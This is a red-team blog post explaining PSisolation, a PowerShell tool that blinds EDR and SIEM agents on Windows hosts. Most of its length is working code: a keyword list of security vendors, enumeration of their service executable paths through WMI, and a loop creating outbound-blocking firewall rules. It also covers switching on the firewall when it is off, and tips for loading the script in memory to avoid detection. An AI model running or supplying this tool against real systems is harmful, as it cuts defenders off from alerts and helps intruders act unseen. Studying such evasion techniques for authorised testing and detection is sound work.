TL;DR : This articles is a little code explanation for another PowerShell tool I wrote. It adapts a now well-known technique to blind EDRs, but with a PowerShell twist. ![[Blind_edr.jpg]] While thinking about my next tool or topics I could dig in, I stumbled upon articles about [EDRSilencer](https://github.com/netero1010/EDRSilencer?tab=readme-ov-**file**) and though : "This is actually pretty fun, I wonder if I could implement this methodology in pure PowerShell ?" Spoiler : I did πŸ˜„ I also read in this pretty awesome [article](https://www.huntress.com/blog/silencing-the-edr-silencers) that there was some techniques I could pick and try implementing, so here is some code explanation for you : Just to be clear, EDRSilencer prevents EDR processes to report their logs and their alerts to their cloud consoles, it does not prevent the actual processes to perform monitoring or blocking (same goes for my tool) # Adapting low level methodology Challenges were the following when trying to implement EDRSilencer methodology : - As you may know, EDRSilencer leverages a built-in set of Windows APIs in order to create corresponding firewall rules and block any outgoing traffic from EDR related processes : this is the **Windows Filtering Platform** (or WFP). However, PowerShell does not have a direct way to interact with WFP and create filters - EDRSilencer's compiled binary directly interacts with WFP in order to create filters, **based on a set of hardcoded EDR agents process names**. This is great for countering EDRs technologies that are known, however it induces that EDR editors could change the process name to prevent the tool from identifying targeted process. Also, depending on the process, we'll see that identifying those EDR processes may not be as easy we think With PSisolation, I had to circumvent some permission limitations that are linked to PowerShell system enumeration, while using EDRSilencer's principles ## Using services rather than processes ------------- The first idea I had while trying to replicate EDRSilencer methodology in PowerShell, was to use the built-in cmdlet Get-Process in order to ... well, retrieve processes I wanted to use this cmdlet to natively retrieve and extract any EDR process information, and then compare it to a hardcoded list of EDR processes, just as EDRSilencer does. How naive of me ... ![[Get_procname.png]] Here, you can see that the Carbon Black's main process basic info are readable. However the most important data for the attack is the process full path, because a Windows firewall rule or a WFP filter dedicated to a specific program obviously needs its full path, but retrieving it in order to store it in a variable is another PowerShell story ... In my very first draft of the code, I encountered several errors due to null value for the process path variable which was odd, because my code testing easily read the EDR names or ProcessId and stored it into variables... Well, I realized it was not the case with the Process Path property. Here is a test with the ms-teams process : ![[Proc_teams.png]] But trying to retrieve RepMgr path the same way, even as SYSTEM does not work (this [reddit post](https://www.reddit.com/r/PowerShell/comments/m94cce/using_ps_to_get_image_path_of_running_system/?rdt=46479) showed me I was not alone ...) ![[Protected_process.png]] If such a property cannot be retrieved, it simply means that it probably runs as a protected process, which is not good for us. However, the path I wanna retrieve can be programmatically read in another way. If I know the Service name, I can also read its properties. But if I can read the executable path through the Windows interface, there probably is a corresponding PowerShell object with a Path property I can read, right ? ![[Service_path.png]] Indeed, WMI FTW : ![[Wmi_ftw.png]] That's a bingo ! (wait, no ...) ![[Hans_bingo.gif|center]] Great ! We know/can read the full path we needed to create a corresponding Windows firewall rule. But in order to be efficient against multiple EDR agents, we still need to know the Service name for every EDR agent we might run into, and I personally do not have a licence for every reknown EDR product. Also, public documentation does not necessarily give this information. So we gotta think harder to avoid losing too much time looking for those Service names as well as hardcoding too much stuff Instead of hardcoding processes name that could be subject to changes after an EDR agent update, I rather used keywords based on famous EDR editors and technologies ```powershell function Show-Banner { Β  Β  $banner = @" β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•— Β  Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•— Β  β–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ Β  Β  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— Β β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ Β  Β  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β•β• β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ Β  Β  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘ Β  Β  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ Β β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘ Β  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘ β•šβ•β• Β  Β  β•šβ•β•β•β•β•β•β•β•šβ•β•β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•β•šβ•β• Β β•šβ•β• Β  β•šβ•β• Β  β•šβ•β• β•šβ•β•β•β•β•β• β•šβ•β• Β β•šβ•β•β•β• "@ Β  Β  Write-Host $banner } # Every tool needs a cool banner, right ? # Define the list of keywords to detect in service DisplayNames $MonitoringProc = @( Β  Β  "EDR", "F-Secure", "withsecure", "Defender", "Elastic", "Trellix", "Qualys", "Sentinel", "Crowdstrike", "csagent", "Cylance", Β  Β  "Cybereason", "Carbon Black", "CB Defense", "Tanium", "Cortex", "ESET", "Harfang", "Trend", "WinCollect" ) ``` and then check if any of those keywords appears in the DisplayName property of every retrieved service on the host, and then extract its full path in order to fill the "Program" parameter when creating the future firewall rule ```powershell Β  Β  $MatchedServices = @{} Β  Β  $Services = Get-Service | ForEach-Object { Β  Β  Β  Β  try { Β  Β  Β  Β  Β  Β  $DisplayName = $_.DisplayName Β  Β  Β  Β  Β  Β  $ServiceName = $_.Name Β  Β  Β  Β  Β  Β  if ($Keywords | Where-Object { $DisplayName -like "*$_*" }) { Β  Β  Β  Β  Β  Β  Β  Β  # Use WMI to retrieve the executable path of the service Β  Β  Β  Β  Β  Β  Β  Β  $Service = Get-WmiObject Win32_Service -Filter "Name='$ServiceName'" Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ($Service -and $Service.PathName) { Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  # Extract the executable path, removing any quotes or arguments Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ExecutablePath = $Service.PathName.Split('"')[1] Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ($ExecutablePath) { Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $MatchedServices[$ServiceName] = @{ Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  DisplayName = $DisplayName Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Path = $ExecutablePath Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  } Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  } Β  Β  Β  Β  Β  Β  Β  Β  } Β  Β  Β  Β  Β  Β  } Β  Β  Β  Β  } catch { Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Write-Warning "Failed to retrieve service details for: $_.Name. Error: $_" Β  Β  Β  Β  } Β  Β  } Β  Β  return $MatchedServices ``` Note that the service name hashtable also contains SIEM agents service such as Qradar Wincollect. This is because I know from my SOC analyst experience that some Qradar rules also check chains of suspicious Windows events which can lead to alerts. By also blocking SIEM agents on a target Windows server, you can prevent other monitoring technologies from reporting to their consoles ## New-NetFirewallRule ------- The Windows Filtering Platform can be described in those simple yet very clear terms : ``` To put it simply, the Windows Filtering Platform is the underlying mechanism that enables various components to block, permit, audit and perform more complex operations on network traffic (such as deep packet inspection). TheΒ Windows Defender Firewall with Advanced Security β€”which is the built in firewall for modern Windows OSβ€”is probably the most obvious example of an application that utilizes the WFP to enforce network restrictions. ``` *Source : https://zeronetworks.com/blog/wtf-is-going-on-with-wfp* Once retrieved and compared, the identified EDR executable paths can be used to create firewall rules in order to block any outgoing traffic from the agent and prevent cloud consoles from receiving log and alerts during our pentest/red team engagement. However, there is no "simple" way to create WFP filters in PowerShell. Well, some PowerShell [modules](https://github.com/zeronetworks/WTF-WFP) and [third-party tools](https://github.com/zodiacon/WFPExplorer) exists in order to interact with WFP, but PSisolation purpose is to remain stealthy. Indeed, those tools are either 1000+ lines of code PowerShell module files which I did not want to include and adapt or GUI tools which does not fit my use case (which is writing a light script that can be easily imported in memory from a basic remote access on a target host). Also, all the tools and methodology I encountered to interact with WFP filters never mentioned how to actually ADD new filters, but rather how to query them or modify general WFP options. This is why I chose to go with the good old PowerShell built-in cmdlet **New-NetFirewallRule** to automatically create a corresponding Windows Firewall Rules (which heavily relies on WFP) for every identified EDR process. It has the advantage to be easy to use without having to perform low level actions on the host, even though the created rules appears in the **Windows Defender Firewall with Advance Security** menu (WFP filters are not available on Windows GUI, hence the need for third party tools). The following *For each* loop ensures the retrieved executable path exists as well as validating its length (*Program* property have a character limit) and create a corresponding rule in Windows Firewall : ```powershell foreach ($ServiceName in $MatchedServices.Keys) { Β  Β  Β  Β  $ServiceDetails = $MatchedServices[$ServiceName] Β  Β  Β  Β  $ProcessPath = $ServiceDetails.Path Β  Β  Β  Β  $DisplayName = $ServiceDetails.DisplayName Β  Β  Β  Β  Β  Β  Β  Β  if (-not (Test-Path $ProcessPath)) { Β  Β  Β  Β  Β  Β  Write-Warning "Invalid executable path for service: $ServiceName ($ProcessPath). Skipping..." Β  Β  Β  Β  Β  Β  continue Β  Β  Β  Β  } Β  Β  Β  Β  $FirewallDisplayName = "${CustomFilterName}: $DisplayName" Β  Β  Β  Β  if ($FirewallDisplayName.Length -gt 255) { Β  Β  Β  Β  Β  Β  $FirewallDisplayName = $FirewallDisplayName.Substring(0, 255) Β  Β  Β  Β  } Β  Β  Β  Β  Write-Output "Blocking outbound traffic for service: $DisplayName ($ProcessPath)" Β  Β  Β  Β  try { Β  Β  Β  Β  Β  Β  New-NetFirewallRule -DisplayName $FirewallDisplayName ` Β  Β  Β  Β  Β  Β  Β  Β  -Direction Outbound ` Β  Β  Β  Β  Β  Β  Β  Β  -Action Block ` Β  Β  Β  Β  Β  Β  Β  Β  -Program $ProcessPath ` Β  Β  Β  Β  Β  Β  Β  Β  -Protocol Any ` Β  Β  Β  Β  Β  Β  Β  Β  -Profile Any ` Β  Β  Β  Β  Β  Β  Β  Β  -Description "Blocks outbound traffic for monitoring service $DisplayName" Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Write-Output "Successfully blocked traffic for service: $DisplayName." Β  Β  Β  Β  } catch { Β  Β  Β  Β  Β  Β  Write-Warning "Failed to block traffic for service: $DisplayName. $_" Β  Β  Β  Β  } Β  Β  } ``` The rule blocks any Outbound traffic, on every protocol (IPv4/Ipv6), and for every Network profile (Public, Private, or Domain) for the identified process Please check the repo for a [quick demo](https://github.com/y00ga-sec/PSisolation/tree/main) # But what if the target machine does not use Windows Defender Firewall ? Well the script got you covered ! Logic is the following : - If PSisolation detects that the victim machine has Windows Firewall enabled --> Simply retrieves EDR services name and associated executable path then create outgoing blocking firewall rules. - Otherwise, PSisolation will : - Backup every rule on the machine in a temporary file - Create outgoing blocking firewall rules for EDRs - Enable **Windows Defender Firewall** so that the PSisolation blocking rules take effect and disable every other rules to avoid blocking production traffic - Once you're done and run `Unblock-AllFilters`, the script will restore every rule/rule state from the temporary backup file (which will also delete PSisolation blocking rules) - Delete rules backup temporary file - Restore **Windows Defender Firewall** to its previous state # PowerShell ? Again ? Yes, again ... ![[Pwsh_truth.jpg]] - As time goes on, popular tools always end up being detected and killed by AV/EDR solutions, and EDRSilencer is no exception. The tool is great, but I'll always prefer importing a few lines of custom PowerShell code directly in memory rather than writing an [overused](https://www.trendmicro.com/fr_fr/research/24/j/edrsilencer-disrupting-endpoint-security-solutions.html) binary to disk and taking the risk of being instantly blocked. I know that packing is always possible, but rewriting or obfuscating a 170 lines `ps1` script with 3 functions will always feel easier than trying various packers for your binary (unless you write your own ?) - PowerShell built-in capabilities are great for this use case (so much native cmdlets ...) - Why not using the `Add-Type` native cmdlet to import a .NET class in memory and try to interact with WFP directly from your PowerShell session ? Well, because this is a PowerShell tool ! Also, `Add-Type` does actually touch the [host disk](https://blog.didierstevens.com/2019/10/15/powershell-add-type-csc-exe/) . Indeed, using `Add-Type` does call `csc.exe`, which is the C# compiler. It turns the class you pass to PowerShell into a temporary .cmdline type file, which will itself be passed as an argument to the compiler, which result in the creation of another temporary C# file in `C:\Users\USER\AppData\Local\Temp\RANDOM.cs`. That's also why I feel like importing functions in memory is way easier and stealthier In the end, I just wanted to do it for fun πŸ˜„ Thank you for reading !